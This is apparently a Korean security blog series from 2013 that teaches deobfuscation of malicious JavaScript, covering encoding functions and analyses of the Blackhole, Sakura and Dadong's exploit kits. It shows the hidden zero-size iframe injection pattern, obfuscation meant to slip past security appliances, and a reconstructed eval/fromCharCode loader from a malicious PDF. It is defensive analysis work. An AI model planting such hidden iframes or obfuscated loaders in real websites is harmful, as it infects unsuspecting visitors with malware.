[6] 난독화에 자주 등장하는 자바스크립트 함수 1

난독화/난독화 강좌 2013. 5. 17. 02:47

[6] 난독화에 자주 등장하는 스크립트 함수 1

 

1.      String.fromCharCode

String.fromCharCode는 아스키코드를 기준으로 숫자를 문자로 변환해주는 함수이다.

아래의 예제를 통하여 실습해 보면 쉽게 이해할 수 있을 것이다.

<script>

// -- 기본 사용 예제 1

document.write(String.fromCharCode(65));  // -- 출력 1

document.write("<br>");document.write("<br>");  // -- 단지 결과값의 줄 바꾸기 역할만!!

 

// -- 기본 사용 예제 2

s=65

document.write( String.fromCharCode(s));  // -- 출력 2

document.write("<br>");document.write("<br>");  // -- 줄 바꾸기

 

// -- 문자열로 변환하는 예제

a="104,116,116,112,58,47,47,107,119,97,110,103,103,117,101,118,97,114,97,46,116,105,115,116,111,

114,121,46,99,111,109";

b=a.split(",");  // -- a를 배열로 만드는 부분

c="";

for (i=0;i<b.length;i++)  // -- i=0 부터 b의 길이 보다 작을 때 까지 1씩 증가

  {

   c+=String.fromCharCode(b[i]);  // -- 배열 b i번재 요소를 문자화해서 c 변수에 저장

  }

document.write(c);  // -- 출력 3

 

</script>

 

## 예제 스크립트 결과  

ð  A    (출력 1)

ð  A    (출력 2)

ð  http://kwangguevara.tistory.com   (출력 3)

 

String.fromCharCode는 난독화된 데이터 복호화시 key 값을 문자열로 변환하여 저장하기 위해 많이 사용합니다. 때문에 key값이 저장된 변수를 찾는데 도움이 됩니다.

 

2.      charCodeAt

String.fromCharCode의 반대라고 생각하면 된다. 문자를 숫자로 변환해주는 함수이다

 기본형태: 변수(문자열).charCodeAt(자리수);  -- 변수(문자열)(자리수)를 숫자로 변환

 

 역시 아래의 예제를 통하여 실습해 봅시다!!

<script>

// -- 기본 사용 예제 1

a="A";

document.write(a.charCodeAt(0));    // -- 출력 1

document.write("<br>");document.write("<br>");   // -- 줄 바꾸기

 

// -- 기본 사용 예제 2

b="ABC";

document.write(b.charCodeAt(0) + ", " +b.charCodeAt(1) + ", " + b.charCodeAt(2));  // -- 출력 2

document.write("<br>");document.write("<br>");  // -- 줄 바꾸기

 

 

// -- 문자열을 변환하는 예제

c="http://kwangguevara.tistory.com";

s="";

for (i=0;i<c.length;i++ )

{

 s+=c.charCodeAt(i)+", ";

}

document.write(s);    // -- 출력 3

</script>

 

## 예제 스크립트 결과  

ð  65          (출력 1)

ð  65, 66, 67   (출력 2)

ð  104, 116, 116, 112, 58, 47, 47, 107, 119, 97, 110, 103, 103, 117, 101, 118, 97, 114, 97, 46, 116, 105, 115, 116, 111, 114, 121, 46, 99, 111, 109,       (출력 3)

 

 

3.      parseInt

String 인자 값에서 정수로 표현 가능한 부분을 10진수로 변환하여 나타내어 주는 함수이다.  

기본형태: parseInt(string, 진수);  --  string 진수를 10진수로 변환

* 진수 부분에는 2 ~ 36의 숫자만 들어갈 수 있다.

* 진수부분을 생략했을 때 string 부분이 0으로 시작하면 8진수로, \x로 시작하면 16진수로

처리된다.

 

<script>

//parseInt(string, 진수) <---스트링(진수) 10진수로 변환

a=parseInt(1010,2);

document.write(a + "<br>");    // -- 출력 1

a=parseInt(1010,8);

document.write(a + "<br>");    // -- 출력 2

a=parseInt(1010,16);

document.write(a + "<br>");   // -- 출력 3

a=parseInt(1010,36);

document.write(a + "<br>");   // -- 출력 4

 

// parseInt를 이용하여 Hex값을 10진수로 변환하기

b="68,74,74,70,3a,2f,2f,6b,77,61,6e,67,67,75,65,76,61,72,61,2e,74,69,73,74,6f,72,79,2e,63,6f,6d";

b=b.split(",");

c="";

for (i=0;i<b.length;i++)

{

  c+=parseInt(b[i],16)+", ";

}

document.write(c);       // -- 출력 5

</script>

 

## 예제 스크립트 결과  

 

ð  10        (출력 1)

ð  520       (출력 2)

ð  4112      (출력 3)

ð  46692     (출력 4)

ð  104, 116, 116, 112, 58, 47, 47, 107, 119, 97, 110, 103, 103, 117, 101, 118, 97, 114, 97, 46, 116, 105, 115, 116, 111, 114, 121, 46, 99, 111, 109,     (출력 5)

 

4.      Hex값을 문자열로 변환하기

String.fromCharCode parseInt를 이용하여 hex값을 문자열로 변환하는 예제이다.

실제 악성스크립트에서 상당히 많이 사용되고 있으므로 확실히 익혀두기 바란다.

 

<script>

// 응용하기 (16진수를 문자열로 변환하기)

b="68,74,74,70,3a,2f,2f,6b,77,61,6e,67,67,75,65,76,61,72,61,2e,74,69,73,74,6f,72,79,2e,63,6f,6d";

b=b.split(",");

c="";

for (i=0;i<b.length;i++)

{

  c+=String.fromCharCode(parseInt(b[i],16));   // -- 16진수를 10진수로 변환 후 문자열로 변환

}

document.write(c);     // -- 출력 1

</script>

 

## 예제 스크립트 결과  

ð  http://kwangguevara.tistory.com

설정

트랙백

댓글

사쿠라 툴킷 난독화 풀이

Web Exploit Kit/ Sakura EK 2013. 5. 15. 00:48

사쿠라 툴킷 난독화 풀이

 

1.      Sakura Exploit Toolkit 이란?

악성코드 유포에 이용되는 Web exploit Toolkit 중 하나이다. 국내에서는 많이 알려져 있지 않지만, 2012년 이뤄진 사이버 공격 유형에서 2(22%)를 차지하고 있다. 블랙홀 툴킷과 마찬가지고 pdf, java 등 다양한 취약점을 이용한다.

 

[그림 1] 2012년 발생한 툴킷 유형 (ETNEWS 기사 내용 중)

 

 

2.      Sakura Toolkit의 난독화

지인을 통하여 구하게 된 사쿠라 툴킷 샘플은 JAVA 취약점을 이용한 부분만 분석이 가능하였다.

Html input tag value 값을 자바스크립트의 함수로 복호화 하는 형식을 기본적으로 가지고 있으며, 독특한 점 스크립트의 특정 데이터를 자바(.Jar)파일의 Main.Class에서 복호화하여 동작하는 것이다.

 

 

3.      Sakura Toolkit의 난독화 분석

분석한 샘플은 지인(설원)이 제공해준 것으로 사쿠라 툴킷 중 일부에 대한 것이며 분석 시 악성 URL은 재현되지 않아 가능한 부분만 분석하였다.

 

3.1 Sakura Toolkit의 구조

[그림 2] Sakura Toolkit의 구조

 

 

3.2 난독화 스크립트 분석

 

3.2.1 난독화 분석 1 (‘데이터 A’ 부분 분석)

[그림 3] ‘데이터 A’ 부분과 관련 스크립트 정리

1)    데이터 A’ 부분과 데이터 A’ 복호화 스크립트 부분만 분리한다.

2)    input 부분의 value function hyurls(n)으로 복호화하는 형태로 구성되어 있다.

3)    복호화된 데이터가 q 변수에 저장되기 때문에 그림에서 방법 또는 방법으로 값에

 저장되는 데이터를 확인 할 수 있다.

 

[그림 4] ‘데이터 A’ 부분 복호화 결과

 

3.2.2 난독화 분석 2

 

- ‘데이터 A’ 복호화된 부분 추가 분석

[그림 5] 1차 결과 추가 분석

1)    데이터 A’ 복호화 부분은 if절을 사용하여 java 버전에 따라 동작하도록 구성되어 있다

2)    document.write를 사용하고 있고, 빨간 박스 부분은 base64로 인코딩되어 있다.

 

- base64 decoding

[그림 6] malzilla를 이용한 base64 decoding

 

- document.write 적용 후 정리

[그림 7] document.write base64 디코딩 후 모습

1)    정리된 데이터를 보면 value 값 난독화된 문자로 된 것을 확인 할 수 있다.

2)    의 부분을 보고 Main.class에서 해당 부분을 복호화 한다는 힌트를 얻을 수 있었다

 

- Java Decompiler를 이용한 Main.class 분석

[그림 8] Java Decompiler Main.class 확인

1)    샘플에 포함된 자바(.jar)파일을 Java Decompiler로 확인한다.

2)    Main.class 확인 시 복호화 시 이용될 듯한 함수를 찾을 수 있었다.

3)    의 부분을 보고 Main.class에서 해당 부분을 복호화 한다는 힌트를 얻을 수 있었다

 

- Main.class 코드를 이용한 난독화 해지

[그림 9] 코드 수정

1)    자바스크립트로 복호화를 하기 위해 Main.class의 함수를 [그림 9] 처럼 수정한다.

2)    난독화된 데이터를 s 변수로 삽입하고 결과값을 alert을 이용하여 확인한다.

 

[그림 10] 최종 결과 값

확인된 URL은 재현되지 않아 추가 분석은 불가능 하였다.

 

3.3 PluginDectect (0.8.0) 정보

PluginDectect 부분은 블랙홀 툴킷에서도 자주 보았던 부분으로 java, pdf, flash 등 다양한 Plugin 정보를 수집해 주는 스크립트다. 이 수집된 정보를 통해 공격코드에서 취약점이 존재하는 부분을 공격하여 악성행위를 하게 된다.

 

해당 스크립트는 아래의 사이트에서 누구나 쉽게 원하는 부분만 포함하여 제작할 수 있다.

 

- http://www.pinlady.net/PluginDetectArchive/0.8.0/download/

 

3.4 PDF 취약점 관련 부분 (재현되지 않아, 다음 기회 ~ ㅠㅠ)

 

설정

트랙백

댓글

[5] 블랙홀 툴킷의 PDF 난독화 풀이

난독화/난독화 강좌 2013. 5. 13. 02:49

[5] 블랙홀 툴킷의 PDF 난독화 풀이

 

1.      Blackhole Exploit Toolkit 이란?

 

악성코드 유포에 이용되는 Web exploit Toolkit 중에서도 가장 많이 알려져 있고, 악성코드 유포에

이용되는 빈도수도 꾸준히 상위권을 유지하고 있다. 현재는 2.0버전이 이용되고 있으며, pdf, java 등 다양한 취약점을 이용한다.

 

 

2.      Blackhole Toolkit의 난독화

 

블랙홀 툴킷을 분석하면 다양한 난독화 기법이 이용되는 것을 볼 수 있다. 그 중 에서도 메인페이지 부분과 pdf파일에 삽입된 자바스크립트 난독화 부분이 있는데, 특히 pdf 부분은 시간이 지날수록 조금씩 어렵게 바뀌고 있다.

 

3.      PDF 파일에 삽입된 자바스크립트 난독화 분석.

 

2013 5 10일 확인된 blackhole toolkit의 샘플 중 pdf 난독화 부분을 확인해 보겠다.

 

3.1 분석을 위해 수집한 패킷 샘플에서 PDF 파일 추출

[그림 1] 샘플패킷에서 PDF파일 추출

 

 

3.2 악성 PDF 파일에서 자바스크립트 추출

[그림 2] PDF파일에서 자바스크립트 분리하기

1)    그림에서 Load 버튼을 클릭하여 저장한 PDF파일을 불러온다

2)    그림에서 부분에 표시된 Objects을 클릭하면 부분에 내용이 표시된다.

3)    Objects를 하나씩 클릭하여 의심스러운 내용이 포함된 것을 찾는다

4)    아래그림 처럼 분리된 자바스크립트를 확인할 수 있다

 

[그림 3] 분리된 자바스크립트

 

3.3 악성 스크립트 분석

 

3.3.1 스크립트 구조

[그림 4] 악성 스크립트의 구조

 

1)    난독화된 데이터 부분 a ZA( )함수들로 이루어져 있는 배열이다.

 

2)    이것은 첫 번째 스크립트 부분의 마지막 줄에 있는 function ZA(a)에 의해 아스키코드로

   변환된다.

 

3)    아스키코드로 변환된 것은 다시 두 번째 스크립트 부분에 의해 문자열로 변환되어 실행된다.

 

3.3.2 첫 번째 스크립트 부분 분석

 

if((this.getSaveItem+"")[0]=="f")if(ImageField1.ZZA(321,513613,"a")===0) {z=this;zz="y";x='eI';}

// if조건이 만족할 때 {z=this;zz="y";x='eI';}인데, 여기서는 스크립트만 가져왔기 때문에 조건이

 성립하지 않아 스크립트가 동작하지 않는다. 실행되도록 하기 위해 if 절을 주석 처리하겠다

 

dd="Code";  

ddd="ar";

s="ntvtdhfePJxTmlNo#hFpx!ZeA*yvv#@yiODshOxsTLbKSJljyjNibt3tb23t";

xx=s[2]+'al';

// 위의 4줄은 메인 부분을 보기 어렵게 하기 위해 쪼개놓은 코드라고 생각하면 된다.

   메인 부분을 이 부분들을 보고 수정하면 원래 복호화 코드가 된다

 

function ZZA(){return 0;}   //  if 절을 만족시키기 위해 사용하는 코드

 

function ZA(a){return z["\x65"+xx]("\x70ar"+"s"+x+s[0]+s[1])(a,26);}

// 메인 부분 1, 이 부분을 위의 내용들을 참고하여 수정하면 아래처럼 된다

ð  function ZA(a){return this.eval(parseInt(a,26);}

 

 

3.3.3 두 번째 스크립트 부분 분석

 

if((z.getSaveItem+"")[0]=="f")if(zz=="y")if(020===0x10)

// 첫 번째 부분과 동일한 이유로 if절은 주석 처리한다

 

z["\x65"+xx](String["fromCh"["conca"+s[3]](ddd,dd)]["appl"["conca"+s[3]](zz)](String,a));

//메인 부분 2, 이 부분도 위의 내용들을 참고하여 수정하면 아래처럼 된다

 

ð  this.eval(String.fromCharCode.apply(String,a));

 

 

3.3.4 복호화 데이터 출력

  - 스크립트 분석한 것을 적용하면 아래와 같다

 

[그림 5] 간결화한 스크립트

1)    문자열로 확인하기 위해 스크립트가 실행되는 두 번째 eval alert으로 변경 후 실행한다

 

- alert으로 수정하여 실행하면 아래처럼 복호화된 데이터를 확인할 수 있다

[그림 6] 복호화 결과

1)    결과를 확인하면 Shallcode가 포함된 스크립트를 확인 할 수 있다

 

 

3.4 shallcode 추출 및 악성코드 유포 URL 확인

- 복호화 결과에서 우리가 필요한 shallcode 부분만 document.write를 이용하여 추출한다

 

 

[그림 6] 스크립트에서 Shallcode 부분 추출

1)     실제로 동작하는 Shallcode 부분만 추출하기 위해 나머지 부분은 주석처리 후 Shallcode

    저장되는 변수를 확인한다

 

- Malzilla Tool을 이용하여 최종 악성코드 유포지 확인

[그림 7] Mallzilla를 이용한 악성코드 유포지 확인

 

1)    Shallcode를 분석하기 위해서는 일반적으로 해당부분을 파일로 만들어 ollydbg에서 분석한다.

     하지만 여기서는 간단하게 malzilla를 이용하는 방법을 알아보았다.

 

2)    일반적으로 Shallcode malzilla로 확인 시 Xor 연산이 되어 바로 보이지 않는 경우가 많지만,

      해당 샘플에서는 악성코드 유포지가 바로 확인되었다

 

 

 

 

[참고] Shallcode를 실행파일로 만들어주는 사이트: http://sandsprite.com/shellcode_2_exe.php

 

설정

트랙백

댓글

[4] 난독화 연습 문제풀이 따라하기 I

난독화/난독화 강좌 2013. 5. 8. 23:52

[4] 난독화 연습 문제풀이 따라하기 I

 

1.      기본적인 난독화 풀이 방법을 통한 풀이

    해당 난독화 기법은 2012년도에 실제 악성코드 유포에 이용되었던 것으로, 설명에 이용하기 위해

   악성URL 대신 블로그 주소를 넣어 샘플을 만들어 실습하였습니다.

 

1.1 /변조된 사이트에서 악성 자바스크립트 확인

- 정상사이트지만 html 종료 후 비정상적으로 삽입된 의심 스크립트 확인

[그림 1] 의심스크립트 확인

 

1.2 의심스크립트만 분리 후 실행화면

- 의심스크립트 실행 시 특정 URL로 접속을 시도한다

실제 악성스크립트에서는 width=0, height=0으로 설정된 iframe이 삽입되어 아래처럼 연결화면이

나오지는 않았지만, 이해하기 쉽게 하기위해 특정 URL로 연결동작이 보이도록 변경하였다.

[그림 2] 스크립트 실행 시 특정URL 접속 확인

 

1.3 의심스크립트 분석

  - alert을 이용한 문자열 확인

 

[그림 3] 의심스크립트 정리 

    의심 스크립트만 분리하여 저장 후 보기 좋게 나눈다

    A 부분이 document.write unescape를 통하여 어떤 동작하는 것으로 의심되기 때문에

    document.write alert으로 변경하여 문자열로 확인시도 한다

 

- 실행 결과

[그림 4] A부분 결과 값

 

- A부분 결과 값를 [그림3] A부분에 삽입

[그림 5] A부분결과 값 삽입

 

- 결과 부분을 보기 좋게 정리

[그림 6] 스크립트 정리

    function 부분을 보기좋게 정리하면 document.write 부분이 의심스러워 보인다

    document.write alert으로 변경하여 결과값을 문자열로 확인시도 한다

 

- 실행 결과

 

[그림 7] 최종 결과 값 확인

 

1.4 의심스크립트 분석 결과

- 의심스크립트 분석결과, 특정사이트로 연결하는 iframe이 난독화된 스크립트로 확인

- 실제 악성코드에서는 width=0, height=0으로 설정되어 사용자가 인지하지 못한 상태에서

  악성 URL로 연결을 시도 후 악성파일을 다운로드

 

강좌4_샘플.zip

 

 * 해당 글에서 분석한 난독화 샘플이 필요하시면 댓글 달아 주시면 보내드리겠습니다.

 → 파일 첨부하였습니다. (받아가시고 댓글 부탁드려요 ^^)

설정

트랙백

댓글

[3] 자바스크립트 난독화 기초 2

난독화/난독화 강좌 2013. 5. 4. 23:58

[3] 자바스크립트 난독화 기초 2

 

1.      Iframe Tag를 이용한 악성코드 유포

 

1.1 일반적인 악성코드 유포 패턴

예제 1)

 <iframe src=http://[악성코드 유포사이트 경로] width=0 height=0></iframe>

  ①     정상적으로 서비스되고 있는 웹사이트를 해킹하여 소스코드에 iframe을 삽입

  ②     악성코드 유포사이트를 보이지 않게 하기위해 “width=0 height=0”로 설정

  ③     이런 악성코드가 삽입된 사이트를 위/변조 사이트라고 하며, 이런 사이트 접속 시

      사용자는 인지하지 못한 상태에서 악성코드에 감염

   * iframe Tag는 정상사이트에서도 사용하기 때문에, 있다고 반드시 악성은 아니다

 

1.2 해커 입장에서 예제1” 의 문제점

  ①    보안장비에서 패턴을 통하여 탐지 가능하다

  ②    보안담당자가 소스코드만 확인하여도 쉽게 악성코드 유포지를 알 수 있다

 ð  때문에 난독화를 통하여 보안장비 우회 및 분석시간이 오래 걸리도록 한다

 

 

2.      같은 의미! 다른 형태!

 

2.1.        동일한 의미를 가진 여러 형태의 패턴

예제 2)

 

ex 1)

<iframe src=http://café.naver.com width=800 height=500></iframe>

 

ex 2)

<script>

a="<iframe src";b="=http://caf";c="e.nav";

d="er.com width";e="=800 heigh";

f="t=500></iframe>";

document.write(a+b+c+d+e+f);

   </script>

 

  ①     ex 1) ex 2) 는 다른형태를 가지고 있지만, 동일한 행위를 한다

 

예제 3)  

 

ex 1)

a="%3Ciframe%20src%3Dhttp%3A//cafe.naver.com%20width%3D800%20height%3D500%3E

%3C/iframe%3E"

 

b="3c696672616d65207372633d687474703a2f2f636166652e6e617665722e636f6d2077696474

683d383030206865696768743d3530303e3c2f696672616d653e";

 

c="60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,99,97,102,101,46,110,

97,118,101,114,46,99,111,109,32,119,105,100,116,104,61,56,48,48,32,104,101,105,103,104,116,

61,53,48,48,62,60,47,105,102,114,97,109,101,62";

 

   d="PGlmcmFtZSBzcmM9aHR0cDovL2NhZmUubmF2ZXIuY29tIHdpZHRoPTgwMCBoZWlnaHQ9

   NTAwPjwvaWZyYW1lPiA=";

 

 ①     a, b, c, d는 모두 다른 형태이지만. 동일한 의미를 가지고 있다.

 ②     예제 3)의 형태는 기본적인 형태이므로 보면 어떤 코드인지 알 수 있도록 해야 한다

 

3.      난독화에 많이 이용되는 기본 패턴

 

3.1.   escape unescape

예제 4)  

 

<script>

a="%3Ciframe%20src%3Dhttp%3A//cafe.naver.com%20width%3D800%20height%3D500%3E%3C/iframe%3E";

s=unescape(a);  //-- a unescape로 변환하여 s에 저장

document.write(s);

</script>

 

## 결과

 cafe.naver.com 으로 접속 시도한다

 

 ①     document.write는 문자열로 html에 반환하기 때문에 iframe이 실행된다

-   문자열을 보고 싶다면, alert 이나 xmp tag를 이용하면 된다

 ②     a escape로 난독화되어 있기 때문에 unescape를 이용하여 복호화 하였다

 

3.2.   HEX Code

b HEX Code이다. Hex는 기본적으로 알고 있을 것이다. 하지만 해당 코드가 hex인줄 몰랐다면

익숙하지는 않은 것이다 

예제 5) 

 

<script>

b="3c696672616d65207372633d687474703a2f2f636166652e6e617665722e636f6d207769647468

3d383030206865696768743d3530303e3c2f696672616d653e";

var s="";

for(i=0;i<b.length;i+=2)

 {s+=String.fromCharCode(parseInt(b.substring(i,i+2),16))};

document.write(s);

</script>

## 결과

 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)

 

       위와 같은 스크립트를 이용하여 복호화 할 수 있다

 ②     예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다

 

3.3.   ASCII Code

  c는 아스키코드이다. 숫자, 문자, 특수기호에 번호를 부여한 것이라 생각하면 된다

예제 6) 

 

<script>

c="60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,99,97,102,101,46,110,97,

118,101,114,46,99,111,109,32,119,105,100,116,104,61,56,48,48,32,104,101,105,103,104,116,61,53,

48,48,62,60,47,105,102,114,97,109,101,62";

s="";

c=c.split(",")

for (i=0;i<c.length;i++){s+=String.fromCharCode(c[i]);}

document.write(s);

</script>

## 결과

 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)

 

  ①     위와 같은 스크립트를 이용하여 복호화 할 수 있다

 ②     예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다

 

3.4.   Base64 Code

d Base64 Code이다. 전자메일에서 사용하는 64진수 코드라고 보면 된다. 

예제 7)

 

<script>

str="PGlmcmFtZSBzcmM9aHR0cDovL2NhZmUubmF2ZXIuY29tIHdpZHRoPTgwMCBoZWlnaHQ

9NTAwPjwvaWZyYW1lPiA=";

 var b64c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg'+'hijklmnopqrstuvwxyz0123456789+/=';

 var b64d = '', chr1, chr2, chr3, enc1, enc2, enc3, enc4;

 str = str.replace(/[^a-z0-9+/=]/gi, '');

 for (var i=0; i<str.length;) {

  enc1 = b64c.indexOf(str.charAt(i++));

  enc2 = b64c.indexOf(str.charAt(i++));

  enc3 = b64c.indexOf(str.charAt(i++));

  enc4 = b64c.indexOf(str.charAt(i++));

  chr1 = (enc1 << 2) | (enc2 >> 4);

  chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);

  chr3 = ((enc3 & 3) << 6) | enc4;

  b64d = b64d + String.fromCharCode(chr1);

  if (enc3 < 64) { b64d += String.fromCharCode(chr2); }

  if (enc4 < 64) { b64d += String.fromCharCode(chr3); }

 }

document.write(b64d);

</script>

## 결과

 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)

 

  ①     위와 같은 스크립트를 이용하여 복호화 할 수 있다

 ②     예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다

 

4.      간단하게 디코딩 하기

4.1.   TRANSLATOR, BINARY

코드에 익숙해지기 위해 자바스크립트로 디코딩을 해보았다. 하지만 어떤 코드인지 안다면

아래의 사이트에서 간단하게 모두 디코딩 할 수 있다

 

바로가기: http://home.paulschou.net/tools/xlate/

 

 

[그림1] 디코딩 화면

설정

트랙백

댓글

[2] 자바스크립트 난독화 Tool

난독화/난독화 강좌 2013. 5. 4. 18:40

 

[2] 자바스크립트 난독화 Tool

 

1.    난독화 해제에 사용되는

  ※ 소개되는 툴들은 난독화해제시 사용하는 것들로 기본적인 사용법을 익혀두면 좋다

 

1.1.   에디트플러스

 난독화 및 코딩을 도와주는 문서 편집기로 가장 많이 사용하는 프로그램이다 (29.700)

    에디트플러스 사이트: http://www.editplus.com/kr/index.html

 

1.2.  TRANSLATOR, BINARY

 Text, binary, hex, base64, ascii code로 변환해 주는 사이트

   TRANSLATOR, BINARY: http://home.paulschou.net/tools/xlate/

  

1.3.  Malzila

 Malware hunting tool !! (오픈소스)

 난독화해제 및 악성코드 분석에 많이 사용되는 오픈소스 툴로 hex Xor 및 다양한

 용도로 이용된다

   Malzilla download: http://malzilla.sourceforge.net/

 

1.4.  HEX Editor

 무료 HEX 에디터 툴로 hex edit hex 값을 파일로 생성시 사용

   다운로드 사이트: http://mh-nexus.de/en/hxd/

  

1.5.  PDF Stream Dumper

 PDF 분석 사용하는 툴로 PDF에 포함된 스크립트 및 난독화 분석 시 이용

   다운로드 사이트: http://sandsprite.com/blogs/index.php?uid=7&pid=57

  

1.6.  Paros(parosproxy)

 ParosWeb proxy툴로 Web의 취약점 분석과 웹해킹 도구로 사용

 나는 악성코드 유포지로 유도하는 위/변조 사이트를 찾기 위해 주로 사용 한다

ParosJDK가 설치되어야 실행가능하며 사용하기 전 웹설정(proxy)이 필요하다

   다운로드 사이트: http://www.parosproxy.org/

 

1.7.  Java Decompiler

 .jar 파일을 java코드로 디컴파일하여 보여주는 툴

   다운로드 사이트: http://java.decompiler.free.fr/

 

1.8.  Sothink SWF Decompiler

 .swf(flash file)을 분리하여 볼 수 있는 프로그램

  ☞ Sothink SWF Decompiler가 없다면 다른 swf 분석 프로그램을 사용하여도 된다

   다운로드 사이트:

 

※ 개인적으로 사용하는 툴을 소개한 것이며, 각자의 취향에 따라 다른 툴을 사용해도 된다

 

설정

트랙백

댓글

난독화 스터디 시작!!

난독화/난독화 강좌 2013. 5. 3. 02:53

나는 자바스크립트를 공부해 본적이 없다.

하지만 자바스크립트로 난독화 된 악성코드를 분석하는 것에 흥미가 많고 재미있다.

난독화 공부를 하고 싶지만 관련된 자료가 많지 않아 공부하기 힘든 나같은 사람들을 위해

내가 아는 지식들을 정리해 보기로 했다!!

얼마나 할지는 모르겠지만 ㅎㅎ

 

설정

트랙백

댓글

[1] 자바스크립트 난독화 기초

난독화/난독화 강좌 2013. 5. 3. 02:35

[1] 자바스크립트 난독화 기초

 

1.      난독화란?

프로그래밍 언어로 작성된 코드를 읽기 어렵게 만드는 작업

 

2.      난독화의 기본 예

예제)

<script> open(“http://naver.com”); </script>

 

<script>a="http";b="://";c="naver";d=".com";open(a+b+c+d);</script>

 

 

3.      난독화 해제(복호화)의 원리

1)    난독화 되어 있는 스크립트는 실행되기 위해 복호화되어 특정 변수에 저장된다

☞ 복호화된 데이터가 저장된 변수를 ‘key변수라고 부르겠다

 

2)    복호화된 데이터를 실행하기 위해서 실행함수가 사용된다

 

3)    실행함수를 문자로 나타내는 함수로 변환하여 복호화된 스크립트를 확인할 수 있다

 

 

 

 

4.      난독화 해제에 사용되는 함수

1)    alert(key변수);

 

2)    document.write(key변수);

 

3)    document.write(“<xmp>”+key변수+”</xmp>”);

 

4)    document.write(“<textarea>”+key변수+”</textarea>”);

설정

트랙백

댓글

Dadong’s JSXX 0.44 VIP 툴 소개

q  Dadongs 0.44 전용 툴 소개

 

1.    Dadong’s JSXX 0.44 VIP Decoder

 

1)     Decoder Tool 사용법

     Data Inpu              난독화 Data 값 입력

     Func Input                    난독화 Data 를 풀어주는 복호화 부분 입력

     Key Input                      복호화 함수에 포함된 Key 값 입력

     Data Output       복호화 Data 출력

 

[그림 1] Dadong’s JSXX 0.44 VIP Decoder

 

2)     Decoder Tool 실행 화면

- [그림 1]을 참조하여 아래의 그림처럼 데이터 입력 후 Decoding을 실행 시 우측 부분에 복호화된 데이터가 출력된다

 

[그림 2] Dadong’s JSXX 0.44 VIP Decoder 출력화면

 

자바스크립트로 만든 툴입니다. 해당 툴이 필요한 분은 글남기시면 보내드리겠습니다.

* 디코딩 툴은 파일 첨부하였습니다. (공유시 출처만 ^^;;)

dadongs Decoder.zip

 

 

 

'Web Exploit Kit > Dadong's JSXX 0.44' 카테고리의 다른 글

Dadong’s JSXX 0.44 VIP Part III  (0) 2013.05.03
Dadong’s JSXX 0.44 VIP Part II  (0) 2013.04.28
Dadong’s JSXX 0.44 VIP Part I  (2) 2013.04.28

설정

트랙백

댓글

Dadong’s JSXX 0.44 VIP Part III

q  쉽게 푸는 Dadongs 0.44

 

Dadong’s 0.44 변조 방지기능 때문에 복호화가 어렵다

물론 분석 팀이나 어느 정도 실력을 갖춘 사람들은 자신만의 방식으로 복호화를 하고

있지만 일반적으로 방법을 찾는 것은 쉽지 않다

 

누구나 쉽게 Dadong’s 0.44를 풀 수 있는 방법에 대해 고민을 하였고, 좋은 방법을

찾았다. 방법은 단지 alert(key); 가지고 Dadong’s 0.44 복호화 있었다

 

[그림 1] 코드 수정

해당 방법 사용시 주의사항

 - 해당방법으로 복호화시 스크립트가 실행되어 악성코드에 감염될 있기 때문에

  반드시 가상환경(VMware )에서 사용해야 한다

 

- 환경설정에 따라 경고창이 전체데이터를 보여주지 않는 경우가 있다

 

 - 복호화된 공격코드에 쉘코드가 있는 경우 행이 걸려 동작하지 않을 있다

 

 

 

'Web Exploit Kit > Dadong's JSXX 0.44' 카테고리의 다른 글

Dadong’s JSXX 0.44 VIP 툴 소개  (76) 2013.05.03
Dadong’s JSXX 0.44 VIP Part II  (0) 2013.04.28
Dadong’s JSXX 0.44 VIP Part I  (2) 2013.04.28

설정

트랙백

댓글